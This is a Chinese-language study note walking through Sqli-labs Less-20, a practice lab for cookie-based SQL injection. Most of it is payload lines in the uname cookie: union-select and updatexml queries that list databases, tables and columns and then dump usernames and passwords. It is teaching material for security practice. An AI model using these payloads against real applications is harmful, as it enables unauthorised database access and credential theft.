Sqli-labs-Less-20(笔记)

Sqli-labs-Less-20(笔记)

使用admin登录
1.登录成功之后会显示cookie
2. 登录失败会显示失败信息。
在这里插入图片描述
说明我们需要修改Cookie来进行注入,使用burp抓包
在coolie值后面加一个’报错,说明存在注入
在这里插入图片描述
查看当前库
Cookie: uname= ’ union select 1,2,database()–+(建议使用#,–+不一定适用)
在这里插入图片描述
也可使用Sqli-labs-Less-18中注入的方式(详见Sqli-labs-Less-18
Cookie: uname= ’ or updatexml(1,(concat(0x7e,(select database()),0x7e)),1) and ‘1’='1
在这里插入图片描述
查看所有库
Cookie: uname= ’ union select 1,2,group_concat(schema_name) from information_schema.schemata–+
在这里插入图片描述
查看security里面所有表
Cookie: uname= ’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
在这里插入图片描述
查看users里面所有字段
Cookie: uname= ’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+
在这里插入图片描述
查看users里面所有账户和密码
Cookie: uname= ’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+
在这里插入图片描述

以此类推爆出所有数据。